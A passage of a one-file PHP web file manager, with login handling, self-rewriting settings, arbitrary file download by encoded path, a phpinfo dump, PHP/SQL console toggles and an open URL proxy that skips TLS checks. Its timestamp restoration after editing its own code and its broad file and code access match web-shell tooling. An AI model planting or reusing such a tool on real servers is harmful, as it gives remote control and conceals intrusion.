}

function fm_run_input($lng) {
	global $fm_config;
	$return = !empty($fm_config['enable_'.$lng.'_console']) ? 
	'
				<form  method="post" action="'.fm_url().'" style="display:inline">
				<input type="submit" name="'.$lng.'run" value="'.strtoupper($lng).' '.__('Console').'">
				</form>
' : '';
	return $return;
}

function fm_url_proxy($matches) {
	$link = str_replace('&amp;','&',$matches[2]);
	$url = isset($_GET['url'])?$_GET['url']:'';
	$parse_url = parse_url($url);
	$host = $parse_url['scheme'].'://'.$parse_url['host'].'/';
	if (substr($link,0,2)=='//') {
		$link = substr_replace($link,fm_protocol(),0,2);
	} elseif (substr($link,0,1)=='/') {
		$link = substr_replace($link,$host,0,1);	
	} elseif (substr($link,0,2)=='./') {
		$link = substr_replace($link,$host,0,2);	
	} elseif (substr($link,0,4)=='http') {
		//alles machen wunderschon
	} else {
		$link = $host.$link;
	} 
	if ($matches[1]=='href' && !strripos($link, 'css')) {
		$base = fm_site_url().'/'.basename(__FILE__);
		$baseq = $base.'?proxy=true&url=';
		$link = $baseq.urlencode($link);
	} elseif (strripos($link, 'css')){
		//как-то тоже подменять надо
	}
	return $matches[1].'="'.$link.'"';
}
 
function fm_tpl_form($lng_tpl) {
	global ${$lng_tpl.'_templates'};
	$tpl_arr = json_decode(${$lng_tpl.'_templates'},true);
	$str = '';
	foreach ($tpl_arr as $ktpl=>$vtpl) {
		$str .= '<tr><td class="row1"><input name="'.$lng_tpl.'_name[]" value="'.$ktpl.'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_value[]"  cols="55" rows="5" class="textarea_input">'.$vtpl.'</textarea> <input name="del_'.rand().'" type="button" onClick="this.parentNode.parentNode.remove();" value="'.__('Delete').'"/></td></tr>';
	}
return '
<table>
<tr><th colspan="2">'.strtoupper($lng_tpl).' '.__('templates').' '.fm_run_input($lng_tpl).'</th></tr>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1">'.__('Name').'</td><td class="row2 whole">'.__('Value').'</td></tr>
'.$str.'
<tr><td colspan="2" class="row3"><input name="res" type="button" onClick="document.location.href = \''.fm_url().'?fm_settings=true\';" value="'.__('Reset').'"/> <input type="submit" value="'.__('Save').'" ></td></tr>
</form>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1"><input name="'.$lng_tpl.'_new_name" value="" placeholder="'.__('New').' '.__('Name').'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_new_value"  cols="55" rows="5" class="textarea_input" placeholder="'.__('New').' '.__('Value').'"></textarea></td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Add').'" ></td></tr>
</form>
</table>
';
}

function find_text_in_files($dir, $mask, $text) {
    $results = array();
    if ($handle = opendir($dir)) {
        while (false !== ($entry = readdir($handle))) {
            if ($entry != "." && $entry != "..") {
                $path = $dir . "/" . $entry;
                if (is_dir($path)) {
                    $results = array_merge($results, find_text_in_files($path, $mask, $text));
                } else {
                    if (fnmatch($mask, $entry)) {
                        $contents = file_get_contents($path);
                        if (strpos($contents, $text) !== false) {
                            $results[] = str_replace('//', '/', $path);
                        }
                    }
                }
            }
        }
        closedir($handle);
    }
    return $results;
}


/* End Functions */

// authorization
if ($auth['authorize']) {
	if (isset($_POST['login']) && isset($_POST['password'])){
		if (($_POST['login']==$auth['login']) && ($_POST['password']==$auth['password'])) {
			setcookie($auth['cookie_name'], $auth['login'].'|'.md5($auth['password']), time() + (86400 * $auth['days_authorization']));
			$_COOKIE[$auth['cookie_name']]=$auth['login'].'|'.md5($auth['password']);
		}
	}
	if (!isset($_COOKIE[$auth['cookie_name']]) OR ($_COOKIE[$auth['cookie_name']]!=$auth['login'].'|'.md5($auth['password']))) {
		echo '
<!doctype html>
<html>
<head>
<meta charset="utf-8" />
<meta name="viewport" content="width=device-width, initial-scale=1" />
<title>ファイルマネージャー</title>
</head>
<body>
<form action="" method="post">
'.__('Login').' <input name="login" type="text">&nbsp;&nbsp;&nbsp;
'.__('Password').' <input name="password" type="password">&nbsp;&nbsp;&nbsp;
<input type="submit" value="'.__('Enter').'" class="fm_input">
</form>
'.fm_lang_form($language).'
</body>
</html>
';  
die();
	}
	if (isset($_POST['quit'])) {
		unset($_COOKIE[$auth['cookie_name']]);
		setcookie($auth['cookie_name'], '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_site_url().$_SERVER['REQUEST_URI']);
	}
}

// Change config
if (isset($_GET['fm_settings'])) {
	if (isset($_GET['fm_config_delete'])) { 
		unset($_COOKIE['fm_config']);
		setcookie('fm_config', '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_url().'?fm_settings=true');
		exit(0);
	}	elseif (isset($_POST['fm_config'])) { 
		$fm_config = $_POST['fm_config'];
		setcookie('fm_config', serialize($fm_config), time() + (86400 * $auth['days_authorization']));
		$_COOKIE['fm_config'] = serialize($fm_config);
		$msg = __('Settings').' '.__('done');
	}	elseif (isset($_POST['fm_login'])) { 
		if (empty($_POST['fm_login']['authorize'])) $_POST['fm_login'] = array('authorize' => '0') + $_POST['fm_login'];
		$fm_login = json_encode($_POST['fm_login']);
		$fgc = file_get_contents(__FILE__);
		$search = preg_match('#authorization[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
		if (!empty($matches[1])) {
			$filemtime = filemtime(__FILE__);
			$replace = str_replace('{"'.$matches[1].'"}',$fm_login,$fgc);
			if (file_put_contents(__FILE__, $replace)) {
				$msg .= __('File updated');
				if ($_POST['fm_login']['login'] != $auth['login']) $msg .= ' '.__('Login').': '.$_POST['fm_login']['login'];
				if ($_POST['fm_login']['password'] != $auth['password']) $msg .= ' '.__('Password').': '.$_POST['fm_login']['password'];
				$auth = $_POST['fm_login'];
			}
			else $msg .= __('Error occurred');
			if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
		}
	} elseif (isset($_POST['tpl_edited'])) { 
		$lng_tpl = $_POST['tpl_edited'];
		if (!empty($_POST[$lng_tpl.'_name'])) {
			$fm_php = json_encode(array_combine($_POST[$lng_tpl.'_name'],$_POST[$lng_tpl.'_value']),JSON_HEX_APOS);
		} elseif (!empty($_POST[$lng_tpl.'_new_name'])) {
			$fm_php = json_encode(json_decode(${$lng_tpl.'_templates'},true)+array($_POST[$lng_tpl.'_new_name']=>$_POST[$lng_tpl.'_new_value']),JSON_HEX_APOS);
		}
		if (!empty($fm_php)) {
			$fgc = file_get_contents(__FILE__);
			$search = preg_match('#'.$lng_tpl.'_templates[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
			if (!empty($matches[1])) {
				$filemtime = filemtime(__FILE__);
				$replace = str_replace('{"'.$matches[1].'"}',$fm_php,$fgc);
				if (file_put_contents(__FILE__, $replace)) {
					${$lng_tpl.'_templates'} = $fm_php;
					$msg .= __('File updated');
				} else $msg .= __('Error occurred');
				if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
			}	
		} else $msg .= __('Error occurred');
	}
}

// Just show image
if (isset($_GET['img'])) {
	$file=base64_decode($_GET['img']);
	if ($info=getimagesize($file)){
		switch  ($info[2]){	//1=GIF, 2=JPG, 3=PNG, 4=SWF, 5=PSD, 6=BMP
			case 1: $ext='gif'; break;
			case 2: $ext='jpeg'; break;
			case 3: $ext='png'; break;
			case 6: $ext='bmp'; break;
			default: die();
		}
		header("Content-type: image/$ext");
		echo file_get_contents($file);
		die();
	}
}

// Just download file
if (isset($_GET['download'])) {
	$file=base64_decode($_GET['download']);
	fm_download($file);	
}

// Just show info
if (isset($_GET['phpinfo'])) {
	phpinfo(); 
	die();
}

// Mini proxy, many bugs!
if (isset($_GET['proxy']) && (!empty($fm_config['enable_proxy']))) {
	$url = isset($_GET['url'])?urldecode($_GET['url']):'';
	$proxy_form = '
<div style="position:relative;z-index:100500;background: linear-gradient(to bottom, #e4f5fc 0%,#bfe8f9 50%,#9fd8ef 51%,#2ab0ed 100%);">
	<form action="" method="GET">
	<input type="hidden" name="proxy" value="true">
	'.fm_home().' <a href="'.$url.'" target="_blank">Url</a>: <input type="text" name="url" value="'.$url.'" size="55">
	<input type="submit" value="'.__('Show').'" class="fm_input">
	</form>
</div>
';
	if ($url) {
		$ch = curl_init($url);
		curl_setopt($ch, CURLOPT_USERAGENT, 'Den1xxx test proxy');
		curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
		curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,0);
		curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,0);
		curl_setopt($ch, CURLOPT_HEADER, 0);
		curl_setopt($ch, CURLOPT_REFERER, $url);
		curl_setopt($ch, CURLOPT_RETURNTRANSFER,true);
		$result = curl_exec($ch);
		curl_close($ch);
		//$result = preg_replace('#(src)=["\'][http://]?([^:]*)["\']#Ui', '\\1="'.$url.'/\\2"', $result);
		$result = preg_replace_callback('#(href|src)=["\'][http://]?([^:]*)["\']#Ui', 'fm_url_proxy', $result);
		$result = preg_replace('%(<body.*?>)%i', '$1'.'<style>'.fm_home_style().'</style>'.$proxy_form, $result);
		echo $result;
		die();
	} 
}
?>
<!doctype html>
<html>
<head>     
	<meta charset="utf-8" />
	<meta name="viewport" content="width=device-width, initial-scale=1" />
    <title>ファイルマネージャー</title>
<style>
body {
	background-color:	white;
	font-family:		Verdana, Arial, Helvetica, sans-serif;
	font-size:			8pt;
	margin:				0px;
}

a:link, a:active, a:visited { color: #006699; text-decoration: none; }
a:hover { color: #DD6900; text-decoration: underline; }
a.th:link { color: #FFA34F; text-decoration: none; }
a.th:active { color: #FFA34F; text-decoration: none; }
a.th:visited { color: #FFA34F; text-decoration: none; }
a.th:hover {  color: #FFA34F; text-decoration: underline; }

table.bg {
	background-color: #ACBBC6
}

th, td { 
	font:	normal 8pt Verdana, Arial, Helvetica, sans-serif;
	padding: 3px;
}

th	{
	height:				25px;
	background-color:	#006699;
	color:				#FFA34F;
	font-weight:		bold;
	font-size:			11px;
}

.row1 {
	background-color:	#EFEFEF;
}

.row2 {
	background-color:	#DEE3E7;
}

.row3 {
	background-color:	#D1D7DC;
	padding: 5px;
}

tr.row1:hover {
	background-color:	#F3FCFC;
}

tr.row2:hover {
	background-color:	#F0F6F6;
}

.whole {
	width: 100%;
}

.all tbody td:first-child{width:100%;}

textarea {
	font: 9pt 'Courier New', courier;
	line-height: 125%;
	padding: 5px;
}

.textarea_input {
	height: 1em;
}

.textarea_input:focus {
	height: auto;
}

input[type=submit]{
	background: #FCFCFC none !important;
	cursor: pointer;
}

.folder {
    background-image: url("data:image/png;base64,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");
}

.file {
    background-image: url("data:image/png;base64,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");
}
<?=fm_home_style()?>
.img {
	background-image: 
url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAdFQTFRF7e3t/f39pJ+f+cJajV8q6enpkGIm/sFO/+2O393c5ubm/sxbd29yimdneFg65OTk2zoY6uHi1zAS1crJsHs2nygo3Nrb2LBXrYtm2p5A/+hXpoRqpKOkwri46+vr0MG36Ysz6ujpmI6AnzUywL+/mXVSmIBN8bwwj1VByLGza1ZJ0NDQjYSB/9NjwZ6CwUAsxk0brZyWw7pmGZ4A6LtdkHdf/+N8yow27b5W87RNLZL/2biP7wAA//GJl5eX4NfYsaaLgp6h1b+t/+6R68Fe89ycimZd/uQv3r9NupCB99V25a1cVJbbnHhO/8xS+MBa8fDwi2Ji48qi/+qOdVIzs34x//GOXIzYp5SP/sxgqpiIcp+/siQpcmpstayszSANuKKT9PT04uLiwIky8LdE+sVWvqam8e/vL5IZ+rlH8cNg08Ccz7ad8vLy9LtU1qyUuZ4+r512+8s/wUpL3d3dx7W1fGNa/89Z2cfH+s5n6Ojob1Yts7Kz19fXwIg4p1dN+Pj4zLR0+8pd7strhKAs/9hj/9BV1KtftLS1np2dYlJSZFVV5LRWhEFB5rhZ/9Jq0HtT//CSkIqJ6K5D+LNNblVVvjM047ZMz7e31xEG////tKgu6wAAAJt0Uk5T/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////wCVVpKYAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAANZJREFUKFNjmKWiPQsZMMximsqPKpAb2MsAZNjLOwkzggVmJYnyps/QE59eKCEtBhaYFRfjZuThH27lY6kqBxYorS/OMC5wiHZkl2QCCVTkN+trtFj4ZSpMmawDFBD0lCoynzZBl1nIJj55ElBA09pdvc9buT1SYKYBWw1QIC0oNYsjrFHJpSkvRYsBKCCbM9HLN9tWrbqnjUUGZG1AhGuIXZRzpQl3aGwD2B2cZZ2zEoL7W+u6qyAunZXIOMvQrFykqwTiFzBQNOXj4QKzoAKzajtYIQwAlvtpl3V5c8MAAAAASUVORK5CYII=");
}
@media screen and (max-width:720px){
  table{display:block;}
    #fm_table td{display:inline;float:left;}
    #fm_table tbody td:first-child{width:100%;padding:0;}
    #fm_table tbody tr:nth-child(2n+1){background-color:#EFEFEF;}
    #fm_table tbody tr:nth-child(2n){background-color:#DEE3E7;}
    #fm_table tr{display:block;float:left;clear:left;width:100%;}
	#header_table .row2, #header_table .row3 {display:inline;float:left;width:100%;padding:0;}
	#header_table table td {display:inline;float:left;}
}
</style>
</head>
<body>
<?php
$url_inc = '?fm=true';
